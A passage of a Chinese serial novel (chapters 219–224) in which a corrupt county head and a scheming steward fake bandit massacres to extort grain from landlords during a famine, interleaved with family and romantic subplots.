张海龙正在会议室门口等候,听到王正直的声音,赶紧推门进入会议室。 “县长,请您指示。” “你先去给警察局的孙竹刚打个电话,让他马上到这里来,提醒他不要告诉任何人,另外,你去起草一份任命通知,提拔孙竹刚为县警察局副局长,主持警察局日常工作。” 张海龙听后惊讶不已,孙竹刚一个小小的警察局队长,一跃成为县警察局二把手,这提拔速度堪比炮弹。 张海龙到自己办公室先给县警察局办公室打了一个电话,因为据他所知,警察局只有几个局领导办公室才有电话。 警察局办公室接到县政府的电话,以为是有什么重要事情传达,没想到竟是找孙竹刚,这令他诧异不已。 “张秘书,您稍等,我马上去叫孙队长。” 孙竹刚听到县长秘书给他打电话,更是惊讶不已。 他跑步来到办公室,握话筒的手都有些颤抖。 “张秘书您好,请您指示。” “孙局长,您别和我一个小秘书开玩笑了,我哪敢指示您啊。” 孙竹刚听到张海龙叫他孙局长,顿时懵了,以张海龙的身份他不可能随便乱叫,难道…… “张秘书,您别逗我了,您是县领导,立正稍息的道理我还是懂得。” 张海龙心想,孙竹刚这个人可真能装犊子,都这时候了还装不知情,他要是不跑不送,王正直能随便提拔他当副局长?做梦吧! “孙局长,我没有逗您,王县长让您马上到县政府会议室,他在等您。” 孙竹刚挂断电话,脑子还是懵的。 第219章 血流成河 放下电话,孙竹刚彻底懵了! 县长怎么会亲自接见他一个小小的警察局队长呢? 难道是牛得水在王正直面前为自己争取的机会? 想到这,他快步走到牛得水办公室,牛得水并不在办公室。 想到是县长找自己,孙竹刚不敢耽搁,赶紧骑上自行车去了县政府。 张海龙正在楼下等候,见到孙竹刚,立马迎了上去。 “孙局长,王县长正在楼上会议室等您。” 孙竹刚脑瓜子懵懵的,张海龙作为县长秘书,以前根本不拿正眼瞧自己。 “张秘书,你这到底是什么意思?你可别吓我啊?” “孙局长,进去你就知道了,咱们快去会议室吧,王县长正在等您。” 孙竹刚怀着惴惴不安的心情来到会议室,没想到李二狗也在。 两人交换了一个意味深长的眼神,但孙竹刚还是不敢相信。 “王县长,您找我?” 王正直看着孙竹刚,觉得这个人有些面熟,但对他并没有很深的印象。 “你就是孙竹刚?” “报告县长,我是县警察局行动队队长孙竹刚。” “孙队长,不对,应该是孙局长,请坐。” 孙竹刚只感觉呼吸有些困难,他的心跳动得厉害,已经顶在嗓子眼上。 他半张屁股坐在椅子上,努力让自己平静下来。 “孙局长,我注意你很久了,对你工作能力我非常满意,这次李管家大力推荐你,县政府已经决定提拔你为副局长,主持县警察局的日常工作。” “哐”的一声,孙竹刚没坐稳,摔在地上。 王正直憋着笑,问道:“孙局长,摔着没有?张秘书,以后开会前一定要检查一遍桌椅,不结实的一定要第一时间换掉。” 张海龙连连答应道:“好的,我知道了,王县长,下次一定注意。” 孙竹刚从地上爬起来,显得无比尴尬,王正直倒是很享受这种场面。 下属在他面前越是显得战战兢兢,他内心就越有一种高高在上的优越感。 “孙局长,我有一件极其重要的工作要交给你,此事事关重大,你一定要做好保密工作。” “王县长请放心,保证完成任务。” “具体的事让李管家告诉你,我还有事,你们商量吧。” 王正直起身出了会议室,孙竹刚终于长舒了一口气。 “兄弟,这到底是怎么一回事?我都懵了。” 李二狗说道:“大哥,不要激动,不就是副局长嘛?以后当局长也不是什么难事。” “兄弟,你可真有能耐,大哥都不知道该怎么感谢你,待会别走了,让你嫂子包饺子给你吃。” 李二狗内心不禁打个寒颤。 “大哥,吃饺子的事待会再说,我有一件事咱们得好好商量一下到底该怎么做。” 听了李二狗的计划,孙竹刚连连点头。 怪不得王正直如此器重李二狗,原来李二狗是在为他谋福利。 “兄弟,要想在警察局找二十个放心的人确实有点困难,我担心人多嘴杂。” 李二狗下意识地看了看会议室门口,低声说道:“大哥,这种事见不得光,我也有此担心,我看还是我从清风寨找些人来做这件事,你挂个名就行。” “还是兄弟思虑周全,就按兄弟说得办,大哥欠你这么多,都不知道该怎么报答你了。” “大哥,咱们兄弟就不要说这些客套话了,你好我比你还高兴。” “走吧,跟我回家,咱们哥俩再好好喝一盅,让你嫂子包饺子给你吃。” “大哥,事不宜迟,我得马上赶回去布置,咱们还是改日吧。还有,大哥,一定不要说漏了。” “放心吧,你嫂子我都不给说。” 李二狗出了县政府,骑上马直奔清风寨。 当天晚上,刘家大院被土匪一锅端了。 大院内血流成河,全家老小连一个尸首都没找到,据说全部被土匪剁碎煮着吃了。 第二天晚上,朱家大院和宋家大院又接连被土匪灭门,同样是血流成河,同样是一个尸首都没找到。 第三天一大早,全县的地主豪绅齐聚县政府,要求王正直派警察剿匪,保护他们安全。 王正直在会议室接待了他们。 “王县长,土匪如此凶残,杀人后竟然食人肉,实在是凶残至极,您一定要为我们做主啊。” “是啊,王县长,我们吴家大院请求您派警察保护。” “我们于家大院也请求您派警察保护。” 大家七嘴八舌,王正直却一言不发。 “王县长,您倒是说句话啊。” 王正直端起桌上的茶杯,把漂浮在上面的茶叶轻轻地吹到一边,然后又轻轻地抿了一口。 在众人的注视下,他又把茶杯轻轻地放在桌子上。 “大家都说完了?” “王县长,您得给我们做主啊。” “土匪都饿得吃人肉了,令人恐惧的同时也令人感到悲哀啊,由此可以想象普通老百姓过得是什么样的日子,实在是令人痛心疾首!作为一县之长,我惭愧难当!是我王正直无能啊,不能筹到粮食赈济灾民。” 大家都沉默了! “我已经决定向上级递交辞呈,等过个十天半个月,新县长就会到任,到时候你们还是让新县长派警察保护你们吧。” 会议室一阵骚动,别说十天半个月,也许今天晚上就有人被土匪吃进肚里。 “王县长,您不能走啊,您走了,我们江东的百姓可怎么活啊?我们到哪里才能找到像您这样爱民如子的好县长啊。” 大家抬头一看,说话的是李二狗。 “李管家,你不要劝了,我能力有限、水平一般,相信上级一定会派一位更有担当的县长来领导江东度过这次劫难。” 李二狗眼泪都下来了。 “王县长,为了表示挽留您的诚意,我们胡家大院自愿向县政府捐出五万斤小麦赈济灾民,您可一定不能走啊。” 举座皆惊。 他们一致认为李二狗疯了,一出手就是五万斤小麦,这么多粮食,就不怕土匪晚上去灭你满门吗? 胡士高不在就是不行,一个小小的管家竟敢胡作非为,非得害死胡家大院不行。 王正直站起来,给李二狗深深地鞠了一躬。 “李管家真是大爱啊,我代表全县百姓感谢你们胡家大院的善举。” 第220章 卑鄙无耻下流 当天晚上,王正直派出数名荷枪实弹的警察到胡家大院昼夜保护。 胡家大院安然无恙,孙家大院却被土匪灭了门。 同样是血流成河,同样是一个尸首都没找到。 天一亮,地主老爷们纷纷跑到县政府。 “我捐二万斤小麦!” “我捐三万斤小麦!” “我捐五万斤小麦!” …… 王正直极力压制住内心的喜悦,说道:“大家就不要让我为难了,我已经决定辞职,大家还是再等等新县长吧,他很快就上任了。” “王县长,您可不能走啊!” “王县长,您走了我们就没法活了!” “王县长,我们江东百姓需要您啊。” 吴老爷在下人的搀扶下,颤巍巍地走到王正直面前。 “王县长,老朽求求你了,您一定不要走啊。” 说着就跪倒在王正直面前,王正直赶紧把他扶了起来。 “哎,你们这不是让我为难吗?江东这么一个烂摊子,我王某人实在是无能为力了,你们还是让我离开吧。” 李二狗在人群中大声喊道:“王县长,只要您留下,我们全力支持您,要粮给粮,要钱给钱,只求您不要丢下我们。” 众人虽然不认同李二狗的话,但这种形势下也只能齐声附和。 “既然大家都希望我留下,那我就勉为其难再干一些时日,但我丑话说在前面,如果我赈灾不力,即使你们不赶我走,我还是要走。” 一听到赈灾,大家立马想到自己又得自愿捐粮食,纷纷低下了头。 “王县长,我们吴家大院存粮确实不多,但为了支持您开展赈灾工作,我们口粮也不留了,把二万斤小麦全部捐给县政府。” 王正直握住吴老爷的手,感激地说道:“感谢吴老爷慷慨解囊,支持县里的赈灾工作,但是……” 王正直一说“但是”,大家的心一下子都提到了嗓子眼上。 “但是大家都知道,现在县保安团在外打仗,全县警力本就捉襟见肘,捐三万斤粮食以下的大院,说明你们存粮确实不多,那我就不能派警察去保护你们了,请大家理解我们县政府的难处。” 吴老爷一听,立马急了。 “王县长,您可不能这样啊,那些土匪杀人可不管这些,再说,其他大院都派了警察保护,土匪只会选择那些没有警察保护的大院下手。” “我捐三万斤!” “我也捐三万斤!” 面对大家的踊跃,王正直已经笑得合不拢嘴。 他挥挥手让大家安静下来。 “大家这么踊跃为灾民捐粮,我王某人实在是感动至极,其实不管你捐二万斤粮食也好,捐三万斤五万斤粮食也罢,在灾情面前,爱心没有大小之分,只要是善举,我们县政府肯定会支持和鼓励。” 大家都在咀嚼王正直话里的意思。 “但是也请大家务必理解我们县政府的难处,经过我们认真开会研究,组织多方论证,最后一致决定,对于自愿捐赠三万斤粮食的大院,我们会派两名警察去保护,捐五万斤粮食的大院派四名,捐八万斤粮食的派六名,捐十万斤粮食的派十名。” 吴老爷颤巍巍地举起手,大喊一声:“王县长,老朽愿意捐五万斤!” “我也捐五万斤!” “娘的,老子不过了,我捐八万斤!” “我也捐八万斤!” 事后一统计,本次共捐赠了将近一百万斤小麦,大大超出了王正直的预料。 “李管家,这次你立了大功,我要重重地赏你。” 李二狗摆摆手,说道:“王县长,这都得益于您领导有方,孙局长办事得力,我只不过是动了动嘴皮子而已,实在是不值一提。” 王正直兴奋地满面红光。 “哈哈,李管家,你可能还不了解我王正直的为人,我一向是有功必赏,说吧,你想要什么奖励?” 李二狗想了想,说道:“王县长,如果您非要给我奖励,我希望您能尽快开粥棚,救济那些流离失所的灾民。” 王正直脸上闪过一丝冷意。 “这个自然,不过此事事关重大,我还得召开会议好好研究研究,急不得啊。” 李二狗真想上去正反抽他十个大嘴巴子,不过王正直的态度本就在他意料之中。 “王县长,现在灾情越来越严重,很多灾民被逼无奈只能靠吃榆树皮、观音土、雁粪果腹,有些地方甚至连树皮都挖光了,万般无奈之下,竟出现‘人相食’之惨状。” 王正直有些不满地说道:“李管家,你可不要危言耸听,什么人相食?这种话能随便说吗?说出来是要负责任的。” “对不起,王县长,是我枉言了。” 王正直语重心长地说道:“有些话在我这里说说就算了,出去可千万不能乱说,你这话要是让省里或者南京知道了,我们都是要掉脑袋的。” “我知道错了,以后再也不说了。” “你知道就好,我让小厨房准备了一桌宴席,咱们去庆祝庆祝。” 李二狗实在没有心情陪王正直胡吃海喝。 “王县长,我出来已经好几天了,家里还有事,我得赶紧回去了。” 虽然李二狗的话让王正直有些不高兴,但他还是十分认可李二狗的能力。 “李管家真的不再考虑考虑吗?县民政科科长的职位我还一直给你留着呢。” “感谢王县长的厚爱,但我才疏学浅,实在难以胜任,还请您另选贤能吧。” 李二狗离开县政府,直接回了胡家大院。 说来也奇怪,大家自愿捐赠完粮食之后,那些被灭门地主大院的人竟完好无损的回来了。 据他们描述,他们是被人蒙着头,赶到一间漆黑的屋子里,后来不知道什么原因竟被放了回来。 原来血流成河的惨状竟是伪造的! 可粮食已经捐出去了,这时候想再要回来,门都没有! “王正直贼喊捉贼,真是卑鄙无耻下流!” “王正直真他娘的黑,他不得好死!” “不得好死?他得断子绝孙!” 不管他们骂得多难听,王正直一句也听不到,他正幻想着卖掉这些粮食之后和静雯春宵一度。 第221章 胡家大院不是慈善机构 张二驴看到李二狗回来,赶紧跑到他跟前。 “李管家,昨天晚上有几个灾民偷偷爬进大院,被家丁捉住了。” 李二狗最担心的就是胡家大院的安全,灾民饿极了,可是什么事都做得出来。 “他们人呢?” “我把他们关在柴房了,还安排两个人看着,你放心,他们跑不掉。” “咱们有损失吗?” “这倒没有!他们一进大院,就被在角楼站岗的家丁发现了。” 李二狗拍了拍张二驴的肩膀,他现在越来越信任张二驴。 “二驴,你做得非常好,既然咱们没什么损失,就把他们放了吧,再给他们每人几个馒头,这年月,谁都不容易。” “李管家,如果这么轻易就把他们放回去,还给他们馒头,我怕其他人会跟着学,到时候咱们可就被动了。” “二驴,你说得对,确实不能就这样轻易把他们放走,必须给他们一点教训,打一顿再赶出去吧,注意掌握尺度,等他们走远了,再想办法暗中给他们送点吃的。” 自从上次胡家大院被朱重九抢劫之后,胡士高一气之下解散民团,现在胡家大院只剩下一些棍棒和火枪鸟铳,根本没有战斗力。 虽然名义上叫胡家大院,但李二狗知道早晚得改名叫李家大院,而且他必须确保女儿梦瑶的安全。 “二驴,我准备去省城买一批枪支回来,没有硬家伙,总是不放心。” “我正想向李管家汇报此事,凤凰镇民团队长张大发前两天来找过你。” 上次张大发因为此事找过李二狗,李二狗一忙就给忘了,没想到张大发还一直记着此事。 “他说什么?” “他说凤凰镇民团也可以为咱胡家大院提供保护。” “什么条件?” “一年五千块大洋!” “呵呵,这个张大发,真是狮子大开口,他怎么不去抢?!” “我觉得也是,现在一挺机关枪才三百块大洋,步枪只需要一百块大洋,咱们不如用这些钱购买枪支,自己保护自己。” “你说的对,但是张大发这个人我们还是不要轻易得罪他,他如果再来问,你就说等老爷出院再说,咱们做不了主。” “我知道了,李管家。” 李二狗笑了笑,说道:“二驴,以后别叫李管家了,叫狗哥吧。” 张二驴当然知道称谓的转变意味着什么,李二狗已经把他当做亲信。 “谢谢狗哥,谢谢狗哥。” “好好干,哥看好你。” 张二驴千恩万谢地走了。 李二狗在去看于兰芝的路上看到张玲玉,他想躲已经来不及了,只能硬着头皮走过去。 张玲玉不阴不阳地说道:“李管家,你这是去看大姐还是看大小姐?” 李二狗一直想不明白张玲玉为什么总是喜欢阴阳怪气地说话,什么话到她嘴里说出来总是让人觉得厌恶。 他故意说道:“娘俩一起看,大小姐特别惹人喜爱,二奶奶要不要一起去看看?” “哼,再惹人喜爱她也是姓胡,李管家未免太热心了吧?” “姓胡总比姓程好,你说呢,二奶奶?” “李二狗,你……无耻!” 李二狗一向吃软不吃硬,他根本不吃张玲玉这一套。 “呵呵,二奶奶,我要是不无耻,咱俩也不会搞在一起,你说是不是?” “你……”张玲玉气得大胸脯子一抖一抖的,脸涨得通红,“二狗,咱们能好好说话吗?” “这取决于你。” “我想你了。” 她突如其来的一句话让李二狗瞬间破防。 “玲玉,你先回去,今天晚上我去找你。” 张玲玉眼泪掉了下来。 “那我暖好被窝等你来。” 看着张玲玉略显孤寂的背影,李二狗内心埋怨自己对她的关心太少了。 一进于兰芝的院子,李二狗就听见孩子的哭声,他快步来到于兰芝的卧室。 “怎么了?孩子怎么哭了?”李二狗一脸焦急地问道。 于兰芝笑道:“看你紧张的,孩子哪有不哭的?” 看李二狗迷茫的眼神,她继续说道:“女儿刚睡醒,可能有点起床气,喂点奶就好了。” 于兰芝毫不顾忌地掀开衣服给梦瑶喂奶,她坐月子坐的,身材倒是丰满了许多,显得有些珠圆玉润,女人味更重了些。 “兰芝,有件事我想和你商量商量?” “什么事啊?你自己决定就行了,不用和我商量。” “你是胡家大院大奶奶,老爷不在,当然得你做主,怎么能不和你商量呢?” 于兰芝故意问道:“你还当我是胡家大院的大奶奶吗?啥事是我做得主?” 李二狗笑道:“我只当你是我闺女的亲娘。” “贫嘴!说吧,到底什么事?” “现在灾民越来越多,我看很多人熬不过这个冬天,县长王正直又只顾着自己发财,根本不管老百姓的死活,我觉得我们得做点什么。” 于兰芝大体已猜到李二狗要做什么。 “二狗,你想过没有?赶上灾年,不仅佃户们受穷,咱们的日子也不好过。上半年买粮食,几乎花去了大半积蓄,今年的租子又收不上来,明年肯定也够呛,政府赋税又那么重,家里这么多口人,明年咱们怎么过,你想过吗?” 于兰芝这一通话让李二狗哑口无言,他确实没有考虑过这个问题。 上半年一共购买了五十万斤小麦,这几天就捐给县政府二十万斤,李二狗本来打算把剩下的粮食再拿出来救济灾民,现在他只能把话咽了回去。 他不得不面对这个现实,胡家大院并不是慈善机构,它也需要生存。 看李二狗不说话,于兰芝问道:“怎么了,二狗?我说错话了?” “没有,是我之前考虑不周,幸好有你提醒,不然我就要犯大错误了。” “你刚才要和我商量什么?” 李二狗此时脑中已经有了另一个主意。 “兰芝,我想着现在灾民实在是太多了,咱们仓库还有三十万斤小麦,是不是可以再拿出一部分来救济灾民?” “你想拿出多少?” “十万斤吧,当然不是一次性拿出来,也不是咱们自己来救济。” “你想怎么办?” “把粮食捐给寺庙,让他们开粥棚救济百姓。” 第222章 嫂子对不起你 “二狗,你自从当了爹之后,处理事情比之前成熟多了,我赞成你的做法。” 如果胡家大院在捐赠了二十万斤小麦之后还广开粥棚,实在是太过招摇。 木秀于林,风必摧之,白天开粥棚,晚上可能就被抢了。 如果悄悄捐给寺庙,出家人以慈悲为怀,一定不会截留私吞。 而且寺庙作为佛门重地,无论是盗匪还是灾民,都不会去打它的主意。 “兰芝,谢谢你,你放心,我一定不会让你和梦瑶受委屈。” 兰芝一脸幸福,紧紧靠在李二狗身上。 “有你真好。” “兰芝,最近风声很紧,昨晚有几个灾民闯入大院,幸好没出事,但我们也不能不防啊,我决定去省城买一些枪支回来,加强大院的保卫力量。” “嗯,这是应该的,你看全县的地主大院,哪家没有十几杆枪?” “那我明天去省城一趟,顺便看看老爷的病情。” 提到胡士高,于兰芝脸色微变。 “他这样不死不活的到底什么时候才是个头啊!” 李二狗倒希望胡士高能多活一些时日,这样可以省去很多麻烦。 他从于兰芝院子出来,刚回到自己院子,牛旺财正双手插袖蹲在门口。 “旺财,你蹲在这里干嘛?” 不知道从什么时候开始,李二狗再也没叫过他旺财哥,但是牛旺财对李二狗的称呼却从未改变。 也许在他看来,这个称呼代表着他和李二狗的特殊关系。 在胡家大院,和李二狗关系特殊意味着什么,所有人都清楚。 “二狗兄弟,哎……” 牛旺财这个人,李二狗是了解的,没有事的时候他是绝对想不着你,今天来肯定是有事。 “旺财,有话就说,你吞吞吐吐干什么?” “二狗兄弟,牛犊子病了。” 李二狗心头一惊,要是普通的头疼脑热,牛旺财肯定不会专门来和他说。 “病了?什么病?看大夫了吗?” “看了,可是都发烧三天了,还一直咳嗽,病情一直未见好转,你春花嫂子都快急死了。” 自从牛旺财一家搬到仙人洞镇居住之后,李二狗每月偷偷送给春花五块大洋,这事牛旺财并不知晓。 “你怎么不早说?快跟我走,去你家看看。” 两人快步来到牛旺财家中,牛犊子正躺在床上,额头上敷着一块毛巾,咳嗽的一张小脸通红。 见到李二狗,春花“哇”的一声哭了出来,一下子跪在他跟前。 “二狗兄弟,求求你救救牛犊子,求求你一定要救救他。” 李二狗把春花从地上拉起来。 “嫂子,大夫怎么说?” “大夫说是沾染了不干净的东西,给开了药,可牛犊子的病一直不见好转,药喂下去就吐出来,咳嗽的嗓子都哑了,刚才大夫说,他无能为力了。我苦命的孩子啊,你要死了,娘可怎么活啊!” 看着奄奄一息的牛犊子,李二狗心如刀绞。 “嫂子,你赶紧收拾一下东西,我们去县里医院。” 李二狗跑回胡家大院,驾着一辆马车回到牛旺财家门口。 春花抱着牛犊子从屋里走出来,李二狗扶着春花上了马车。 牛旺财站在马车下面没有动。 “旺财,你还愣着干什么?快上车啊。” 牛旺财结结巴巴地说道:“人都去了,谁看家啊?现在可不太平。” 李二狗狠狠地瞪了一眼牛旺财。 “那你就留下看家吧。” 李二狗驾着马车,直奔县城。 到了县城医院,经过医生一番检查,确认牛犊子得了急性肺炎。 医生感慨道:“你们再晚送来半天,这孩子就没命了。” 春花听到没命了,吓得立马瘫在地上。 “大夫,求求您一定要救救我的孩子……” 李二狗把她从地上扶起来,她双腿抖得厉害,根本无法站立,李二狗便把她揽在怀中,春花竟完全没有拒绝。 “放心吧,住院打几天针就没事了,你们去给孩子办一下住院手续吧。” 听到医生说没事,春花才彻底放下心来。 当她意识到李二狗正揽着自己时,赶紧从他怀里挣脱出来。 大庭广众之下,她立马羞红了脸。 “嫂子,你先去病房看着孩子,我去给办一下住院手续。” 这是春花第一次进医院,也是第一次听说住院手续,她完全懵了。 “二狗兄弟,麻烦你了,要是没有你,牛犊子就没命了。” 李二狗知道牛犊子是自己的儿子,春花也知道李二狗知道牛犊子是自己的儿子,但大家都保持着彼此的默契,谁都不会去戳破这层窗户纸。 “嫂子,你说这些话就见外了,你先去病房,我办完住院手续就过来。” 等李二狗回到病房的时候,春花正在和一个小护士争吵。 “你要敢伤害我儿子,我就和你拼了!” 小护士急得满头大汗。 “你这个人怎么这么不可理喻,我在给孩子打针,请你配合一下好吗?” “怎么了,嫂子?” 春花看到李二狗,仿佛看到了救星。 “二狗兄弟,你快制止她,她要拿针扎牛犊子的头,千万不能让她扎啊。” 小护士解释道:“这位大姐,你听我解释,孩子太小,手腕上的血管不明显,从额头上扎针是最好的,你一定要相信我们。” 李二狗也没听过打针打头皮的,但护士这样说,肯定有她的道理,他知道医院不会害人。 “嫂子,这里是医院,他们是西医,和咱们中医不一样,你要想让牛犊子快点好起来,就得听他们的。” 春花一脚疑惑地问道:“真的没事吗?” 春花一双扑闪扑闪的大眼睛盯着李二狗,让李二狗仿佛回到了那一夜。 “嫂子,你要相信我,咱们不就是治不了牛犊子的病才来医院的吗?孩子会没事的。” 春花这才点了点头,护士熟练地把针扎进牛犊子额头的血管里,吊瓶里的液体源源不断地输入孩子的身体。 “等这一瓶药打完了喊我,注意不要离开人。” 护士走了,春花盯着牛犊子,眼泪噗嗤噗嗤地掉落下来。 “二狗兄弟,嫂子对不起你!” “好了,嫂子,别难过了,没事的,一切都会好起来的!” 第223章 一见如故 李二狗安排张二驴偷偷给广佛寺送去五十袋磨制好的面粉,广佛寺当天就在寺门口开起了粥棚。 灾民们从四面八方赶来,一边喝着热乎乎的白面糊糊,一边给佛祖磕头。 王正直的压力越来越大,迫不得已,只能在县政府门前也开起了粥棚。 不过为了节省粮食,他要求每天限量供应。 灾民队伍排得老长,白面糊糊却很少,百姓们怨声载道,都叫他“王不直”。 王正直担心夜长梦多,以向省政府请求救济粮为由,亲赴省城,联系小麦买家。 “妹子,我是你大哥。” 静雯接到王正直的电话,并没有感到惊讶。 “哎呀,是大哥啊,你来省城了?” “来省城办点事,想顺便拜访一下吴爷,不知道吴爷方不方便?” “当然方便,你是贵客,吴爷前两天还在念叨你,感觉上次的事让你损失那么大,他心里很过意不去,说以后一定找机会再与你合作。” “上次的事是个意外,吴爷还能想着,真是令我感动,如果吴爷方便,我想今天晚上去拜访一下吴爷,可以吗?” “当然可以,今晚七点,我们就约在百乐门大舞厅吧?小妹也好尽尽地主之谊。” 听了静雯的话,王正直心里那个痒。 “好好好,晚上见,妹子。” 晚上七点,百乐门大舞厅。 “大哥,你来了,吴爷正在二楼等你。” 王正直没想到吴有德来这么早,急忙解释道:“哎呀,实在是不好意思,路上有事耽搁了。” “大哥,没事,是吴爷早到了。” 两人来到二楼包厢,静雯主动介绍道:“干爹,这位就是我常和您提起的江东县县长王正直,大哥,这位就是吴爷。” 王正直一直以为静雯是吴有德的小情人,没想到还是她干爹。 “吴爷,鄙人王正直,久闻吴爷大名,如雷贯耳,今日一见,果然名不虚传。” “王县长,您的大名我也是久有所闻啊,静雯经常在我面前夸您。” “静雯小姐谬赞了,”王正直显得很谦虚,“吴爷,我是晚辈,您还是叫我小王吧。” “岂敢岂敢,王县长是一地父母官,老夫只是一个闲云野鹤罢了。” “吴爷您过谦了,您跟随先总理闹革命的时候,我还只是一名乳臭未干的学生,今日得见吴爷尊荣,实在是三生有幸。” “哈哈,那些都是老黄历了,王县长是个有心人,还能记得那些,老夫当年有幸跟随先总理做过一些微不足道的事情,实在是愧不敢当。” “吴爷您过谦了,别说省城,就是在南京国民政府里,一提到您吴爷的大名,谁人不知,谁人不晓?” “哈哈,王县长,老夫早已不过问政府之事,现在只不过做一些养家糊口的生意罢了。” “吴爷,您虽虚怀若谷,但江湖上可一直都有您的传说,您还是叫我小王吧。” “哈哈,小王,请喝茶。” 王正直看了一眼吴有德身后站着的保镖和旁边的服务员,静雯心领神会。 “你们先出去吧,这里交给我,需要的时候我会叫你们。” 包厢内只剩下吴有德、王正直和静雯三人。 “吴爷,今天来拜访您,主要还是为了粮食的事。” “小王,上次的事,静雯回来后都告诉我了,她可是为你说了不少好话啊。” 王正直急忙说道:“谢谢静雯小姐。” 吴有德端起茶杯,喝了一口茶,徐徐说道:“小王,你可能不知道,很多产业虽然在我名下,但我只是挂在名而已,我一个人说了并不算,所以希望你不要埋怨我才好,我也是爱莫能助。” “吴爷您这说的哪里话?我当然理解您的难处。我知道,上次我对静雯小姐提出的要求并不合理,当时我只是昏了头脑,才向静雯小姐提出那种不切实际的要求,现在想来实在是惭愧啊!” “哈哈,事情都已经过去了,你就不要再自责了,我这里生意很多,以后我们还有很多合作的机会。” “不瞒吴爷,现在江东灾情严重,为了赈灾,我又千方百计筹集了一些小麦,但小麦数量有限又金贵,我想尽快把小麦卖了,多买一些粗粮回去赈灾,还望吴爷能出手相助,我代表江东三万多百姓感谢您。” “这个好说,你现在有多少小麦?” “差不多有一百万斤。” “我还以为有多少?这些我全要了。” 王正直大喜过望,问道:“吴爷,不知道这价格上?” 吴有德看向静雯,问道:“静雯,现在小麦价格是多少?” “吴爷,今天上午的价格是三毛五一斤,不过现在价格变动频繁,明天什么价格得明天上午才能知道。” 吴有德摆了摆手,说道:“小王也不是外人,我看不用等明天了,现在就定下来,四毛一斤,小王觉得如何?” 王正直激动的差点当场跪下给吴有德磕一个,四毛钱一斤,一百万斤就是四十万,哪怕拿出一部分用来赈灾,他也几辈子花不完。 “吴爷,太感谢您了,我知道,大宗粮食交易,价格肯定会比零售便宜一下,要不然就……” “不用,就按四毛,”吴有德话说的掷地有声,“我们虽然初次见面,却一见如故,就这么定了!” “多谢吴爷,多谢吴爷。” 吴有德看了看墙上的挂钟,说道:“时间不早了,我就先回去了,等会让静雯好好给你安排安排,都记我账上。” “多谢吴爷,我今天才算见识了什么叫省城第一商业名家的风采,吴爷,在下佩服!” “哈哈,喝好玩好,静雯照顾好王县长,告辞!” 送走吴有德,王正直腰杆子一下子硬了起来。 “妹子,今天我算是大开眼界了,四十万的生意,谈笑间就搞定了,以前我真是井底之蛙啊,为了千儿八百的小钱苦心钻营,现在看来,真是非常可笑,简直是愚蠢!” 静雯笑道:“大哥说笑了,您是一县之长,身份尊贵,走到哪都受人尊敬,不像我们,哎,只不过是供别人消遣的工具罢了。” 静雯今晚一身墨绿色旗袍配中式盘发,美到失语,王正直一双鼠眼一直盯着她旗袍的开叉处。 第224章 你过得好吗 静雯故意咳嗽一声,拉了拉旗袍,王正直才不得不把视线移开。 “妹子,只要你愿意,大哥一定让你享尽荣华富贵,不再过这种看人脸色的日子。” 静雯黯然,说道:“大哥你就不要逗妹妹开心了,我是什么样的人我自己心里清楚。” 王正直一把握住静雯的手,深情地表白道:“妹子,你要相信我,大哥说的可都是真心话。” 静雯轻轻挣脱他的手,叹息道:“大哥,这里人多眼杂,要是被人看见告诉了吴爷就不好了,还是生意重要!” 静雯一句话挑明了自己和吴有德的特殊关系,王正直只能沉默地坐在沙发上。 这个时候,他确实不敢得罪吴有德! “大哥,你也别难过,以后有的是机会,我去给你安排几位姑娘,她们都比我年轻漂亮,今晚让她们陪大哥好好玩一玩。” “算了吧,咱们还是商量商量小麦的事情。” 静雯这才坐下来,问道:“大哥有什么想法?” “我建议我们还是走水路运输,但这次不用你们派船去江东,我安排好货船,送货上门,运费算我的。” 静雯暗骂道,真是一条老狐狸。 嘴上却说道:“大哥办事真是敞亮,替妹子想得这么周全,来,妹子敬你一杯,感谢大哥。” “你是我妹子,这都是大哥应该做的。” 两人又商定了送货时间及一些细节问题,然后几杯酒下肚,王正直便失去了操守,对静雯安排的几个舞女来者不拒。 静雯回到吴公馆,看到李二狗正和吴有德在客厅喝茶。 “二狗,你什么时候来了?” 静雯眼神欣喜异常,恨不得立马扑到李二狗身上,以解相思之苦。 李二狗笑道:“想干爹了,顺便看看你。” 静雯眼里的笑意已经掩饰不住。 “这么说,我还是沾了干爹的光。” “你以为呢?哈哈。” 吴有德站起身,说道:“干爹累了,先去睡了,有什么事咱们明天再说。” 李二狗和静雯几乎同时说道:“干爹,晚安!” “哈哈,你们呐……” 吴有德刚上楼,李二狗已把静雯搂在怀里。 “想我没?” “没想!” “真没想?” “想了!” “你这个小妖精,想死我了都!” 李二狗一把抱起静雯,直接进了卧室。 一进屋,静雯就缠在李二狗身上,那场面真是你侬我侬,忒煞情多。 李二狗在床上发起了数次冲锋,两人终于如愿站上云巅。 事后,静雯瘫在李二狗怀里。 “二狗,真希望能快点给你生个狗崽子。” “顺其自然吧,有些事不能强求,我们开心就好。” “你真讨厌!” 静雯小粉拳不断捶打着李二狗的胸口。 “好了,咱们说点正事,今晚你和王正直谈得怎么样?” “这次他提出要送货上门,不用咱们派船。” 李二狗早就预料到王正直会有变招,只是没想到他要亲自送货上门。 “定得哪天送货?” “三天后。” 三天后送货,也就意味着将在两天后的晚上装船,特殊时期,王正直不可能选择白天装船。 吃了上次的亏,王正直肯定会加强码头的防守力量,想再复制上次的成功经验已无可能。 那就只剩下一条路,在水面上动手。 “静雯,我需要你帮我一个忙。” “一个被窝睡着还说什么帮不帮的,你说就是。” 李二狗便把自己的需求告诉了静雯。 “这个你放心,明天我就给你安排。” “静雯,必须要快,而且一定要选忠诚可靠之人。” “放心吧,我办事你放心。” “你办事我当然放心,那我办事你放心吗?” 李二狗手脚又开始不老实起来,静雯被他挠得咯咯直笑,一场鏖战再次拉开了帷幕…… 第二天上午,李二狗便返回了江东县。 由于畏惧严婆惜的热情,李二狗没有直接去孙竹刚家中,而是在街边电话亭给孙竹刚打了一个电话。 孙竹刚已经升为县警察局副局长,办公室已有了专用电话。 “大哥,我是二狗。” 孙竹刚听到李二狗的声音,有些意外。 “二狗兄弟,你在哪?” “大哥,我找你有点事情,你下班后,咱们广德楼见。” “兄弟,去广德楼干什么?还是去家里,让你嫂子包饺子给你吃。” 李二狗现在一听到饺子就吓得打冷颤。 “大哥,这次不方便去家里,还是去广德楼吧,我都订好房间了。” “那好,我下班就过去。” 挂断电话,李二狗去了县城的医院。 春花看见李二狗进来,马上笑靥如花。 “二狗,你来了。” 称谓从二狗兄弟变为二狗,春花对李二狗的态度发生了明显转变。 “嫂子,牛犊子怎么样了?” 